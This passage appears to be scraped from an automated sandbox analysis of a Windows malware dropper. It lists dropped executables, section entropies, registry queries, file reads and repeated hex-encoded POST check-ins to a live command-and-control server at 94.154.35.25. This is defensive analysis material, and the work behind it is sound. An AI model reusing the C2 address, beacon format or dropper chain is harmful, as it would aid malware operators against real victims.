NSudoLG.exe]63:T735,"random.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\1A52M6.EXE"; Value: "") "random.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\2J4686.EXE"; Value: "") "1a52M6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\ICACLS.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\NET.EXE"; Value: "")64:T5a4,"S8nPHvo.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows 7 sections"- Location: [%TEMP%\10718040101\S8nPHvo.exe]- [targetUID: 00000000-00001536] "1a52M6.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%TEMP%\IXP000.TMP\1a52M6.exe]- [targetUID: 00000000-00005940] "2j4686.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 6 sections"- Location: [%TEMP%\IXP000.TMP\2j4686.exe]- [targetUID: 00000000-00001348] "7z.exe" has type "PE32 executable (console) Intel 80386 for MS Windows 6 sections"- Location: [%TEMP%\hater\7z.exe]- [targetUID: 00000000-00001396] "NSudoLG.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows 6 sections"- Location: [%TEMP%\hater\NSudoLG.exe]- [targetUID: 00000000-00001956] "nircmd.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows 5 sections"- Location: [%TEMP%\hater\nircmd.exe]- [targetUID: 00000000-00005912] "cecho.exe" has type "PE32 executable (console) Intel 80386 for MS Windows UPX compressed 3 sections"- Location: [%TEMP%\hater\cecho.exe]- [targetUID: 00000000-00001396] "h6e2sYQ.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 6 sections"- Location: [%TEMP%\10718020101\h6e2sYQ.exe]- [targetUID: 00000000-00001536] "XZa7bUK.exe" has type "PE32 executable (console) Intel 80386 for MS Windows 7 sections"- Location: [%TEMP%\10718030101\XZa7bUK.exe]- [targetUID: 00000000-00001536]65:T6ff,"random.exe" has section name .text with entropy "6.314163792045976" "random.exe" has section name .rsrc with entropy "7.994681166286333" "random.exe" has section name .reloc with entropy "6.222637930812128" "7ddb3a40dc.exe" has section name CODE with entropy "6.552008739583365" "7ddb3a40dc.exe" has section name .reloc with entropy "6.646226007568282" "7ddb3a40dc.exe" has section name .rsrc with entropy "7.378017193801971" "h6e2sYQ_1_.exe" has section name with entropy "7.165035909411589" "h6e2sYQ_1_.exe" has section name rivqsbng with entropy "7.955166153321701" "2j4686.exe" has section name with entropy "7.211642838423036" "2j4686.exe" has section name .rsrc with entropy "6.343203447438223" "2j4686.exe" has section name kyqfjkls with entropy "7.954238258549582" "K8kGyaj.exe" has section name .text with entropy "7.1543586072495735" "K8kGyaj.exe" has section name .reloc with entropy "6.4747210582568355" "K8kGyaj.exe" has section name .tls with entropy "7.999597368492492" "7z.exe" has section name .text with entropy "6.713612828094582" "7z.exe" has section name .reloc with entropy "6.1691871802645295" "XZa7bUK_1_.exe" has section name .text with entropy "7.1543586072495735" "XZa7bUK_1_.exe" has section name .reloc with entropy "6.4747210582568355" "XZa7bUK_1_.exe" has section name .tls with entropy "7.999367356391584" "winloghelper.exe" has section name .text with entropy "6.525755271313463" "winloghelper.exe" has section name .reloc with entropy "6.64440619013502" "NSudoLG.exe" has section name .text with entropy "6.3424695313316555" "NSudoLG.exe" has section name .rsrc with entropy "6.065830324574059" "nircmd.exe" has section name .text with entropy "6.159825546168519" "cecho.exe" has section name UPX1 with entropy "7.855027344681443"66:T3d82,"POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:16:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:44:43:43:37:35:30:31:43:35:33:45:41:36:38:39:34:43:43:45:37:38:45:38:33:38:42:36:34:34:45:46:34:42:31:44:31:36:45:45:31:44:37:35:33:39:43:39:38:46:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:16:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33313A33303A33373A33313A33383A33303A33313A33303A33313A33303A33313A32623A32623A32623A36323A33353A33393A33....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "65:32:3d:31:30:37:31:38:30:31:30:31:30:31:26:75:6e:69:74:3d:33:35:31:34:35:35:37:34:33:35:37:30" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:16:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "64:31:3d:31:30:37:31:38:30:32:30:31:30:31:26:75:6e:69:74:3d:33:35:31:34:35:35:37:34:33:35:37:30" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:16:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "64:31:3d:31:30:37:31:38:30:33:30:31:30:31:26:75:6e:69:74:3d:33:35:31:34:35:35:37:34:33:35:37:30" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:16:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "64:31:3d:31:30:37:31:38:30:34:30:31:30:31:26:75:6e:69:74:3d:33:35:31:34:35:35:37:34:33:35:37:30" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "64:31:3d:31:30:37:31:38:30:35:30:31:30:31:26:75:6e:69:74:3d:33:35:31:34:35:35:37:34:33:35:37:30" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "64:31:3d:31:30:37:31:38:30:36:30:31:30:31:26:75:6e:69:74:3d:33:35:31:34:35:35:37:34:33:35:37:30" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "64:31:3d:31:30:37:31:38:30:37:30:31:30:31:26:75:6e:69:74:3d:33:35:31:34:35:35:37:34:33:35:37:30" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:44:43:43:37:35:30:31:43:35:33:45:41:36:38:39:34:43:43:45:37:38:45:38:33:38:42:36:34:34:45:46:34:42:31:44:31:36:45:45:31:44:37:35:33:39:43:39:38:46:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:44:43:43:37:35:30:31:43:35:33:45:41:36:38:39:34:43:43:45:37:38:45:38:33:38:42:36:34:34:45:46:34:42:31:44:31:36:45:45:31:44:37:35:33:39:43:39:38:46:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:44:43:43:37:35:30:31:43:35:33:45:41:36:38:39:34:43:43:45:37:38:45:38:33:38:42:36:34:34:45:46:34:42:31:44:31:36:45:45:31:44:37:35:33:39:43:39:38:46:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:44:43:43:37:35:30:31:43:35:33:45:41:36:38:39:34:43:43:45:37:38:45:38:33:38:42:36:34:34:45:46:34:42:31:44:31:36:45:45:31:44:37:35:33:39:43:39:38:46:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:44:43:43:37:35:30:31:43:35:33:45:41:36:38:39:34:43:43:45:37:38:45:38:33:38:42:36:34:34:45:46:34:42:31:44:31:36:45:45:31:44:37:35:33:39:43:39:38:46:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:44:43:43:37:35:30:31:43:35:33:45:41:36:38:39:34:43:43:45:37:38:45:38:33:38:42:36:34:34:45:46:34:42:31:44:31:36:45:45:31:44:37:35:33:39:43:39:38:46:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:44:43:43:37:35:30:31:43:35:33:45:41:36:38:39:34:43:43:45:37:38:45:38:33:38:42:36:34:34:45:46:34:42:31:44:31:36:45:45:31:44:37:35:33:39:43:39:38:46:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:44:43:43:37:35:30:31:43:35:33:45:41:36:38:39:34:43:43:45:37:38:45:38:33:38:42:36:34:34:45:46:34:42:31:44:31:36:45:45:31:44:37:35:33:39:43:39:38:46:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365.......67:T6d7,"systemhelper.exe" reads file "C:\Windows\win.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "systemhelper.exe" reads file "C:\Users\desktop.ini" "winloghelper.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "winloghelper.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "winloghelper.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "winloghelper.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "winloghelper.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "winloghelper.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "winloghelper.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "winloghelper.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "winloghelper.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "winloghelper.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "winloghelper.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini"68:T8c2,"S8nPHvo.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows 7 sections"- Location: [%TEMP%\10718040101\S8nPHvo.exe]- [targetUID: 00000000-00001536] "OhHIHAl.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 11 sections"- [targetUID: N/A] "7ddb3a40dc.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- [targetUID: N/A] "1a52M6.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%TEMP%\IXP000.TMP\1a52M6.exe]- [targetUID: 00000000-00005940] "systemhelper.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 6 sections"- Location: [%WINDIR%\systemhelper.exe]- [targetUID: 00000000-00003320] "2j4686.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 6 sections"- Location: [%TEMP%\IXP000.TMP\2j4686.exe]- [targetUID: 00000000-00001348] "K8kGyaj.exe" has type "PE32 executable (console) Intel 80386 for MS Windows 7 sections"- [targetUID: N/A] "7z.exe" has type "PE32 executable (console) Intel 80386 for MS Windows 6 sections"- Location: [%TEMP%\hater\7z.exe]- [targetUID: 00000000-00001396] "winloghelper.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%WINDIR%\winloghelper.exe]- [targetUID: 00000000-00003724] "NSudoLG.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows 6 sections"- Location: [%TEMP%\hater\NSudoLG.exe]- [targetUID: 00000000-00001956] "nircmd.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows 5 sections"- Location: [%TEMP%\hater\nircmd.exe]- [targetUID: 00000000-00005912] "cecho.exe" has type "PE32 executable (console) Intel 80386 for MS Windows UPX compressed 3 sections"- Location: [%TEMP%\hater\cecho.exe]- [targetUID: 00000000-00001396] "h6e2sYQ.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 6 sections"- Location: [%TEMP%\10718020101\h6e2sYQ.exe]- [targetUID: 00000000-00001536] "XZa7bUK.exe" has type "PE32 executable (console) Intel 80386 for MS Windows 7 sections"- Location: [%TEMP%\10718030101\XZa7bUK.exe]- [targetUID: 00000000-00001536] "DbLqLGVL.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%WINDIR%\DbLqLGVL.exe]- [targetUID: 00000000-00004592]69:T12b5,"random.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\1a52M6.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "random.exe" wrote 20992 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\2j4686.exe": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010600 ... "1a52M6.exe" wrote 4096 bytes starting with PE header signature to file "C:\Windows\winloghelper.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "1a52M6.exe" wrote 16384 bytes starting with PE header signature to file "C:\Windows\systemhelper.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "1a52M6.exe" wrote 4096 bytes starting with PE header signature to file "C:\Windows\DbLqLGVL.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "systemhelper.exe" wrote 26112 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\hater\cecho.exe": 